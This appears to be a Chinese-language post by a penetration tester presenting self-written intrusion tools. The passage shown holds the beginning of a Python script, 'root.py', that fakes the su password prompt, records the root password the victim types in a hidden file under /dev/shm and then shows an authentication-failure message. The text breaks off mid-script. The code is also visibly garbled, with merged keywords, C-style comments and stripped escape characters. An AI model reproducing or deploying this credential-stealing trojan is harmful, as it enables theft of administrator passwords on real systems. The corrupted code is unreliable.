渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评,
0×01
记录root密码小工具:
root.py
01#!/usr/bin/python
02importos, sys, getpass, time
03
04current_time=time.strftime("%Y-%m-%d %H:%M")
05logfile="/dev/shm/.su.log"//密码获取后记录在这里
06#CentOS
07#fail_str = "su: incorrect password"
08#Ubuntu
09#fail_str = "su: Authentication failure"
10#For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样
11fail_str="su: incorrect password"
12try:
13passwd=getpass.getpass(prompt='Password: ');
14file=open(logfile,'a')
15file.write("[%s]t%s"%(passwd, current_time))//截取root密码
16file.write('n')
17file.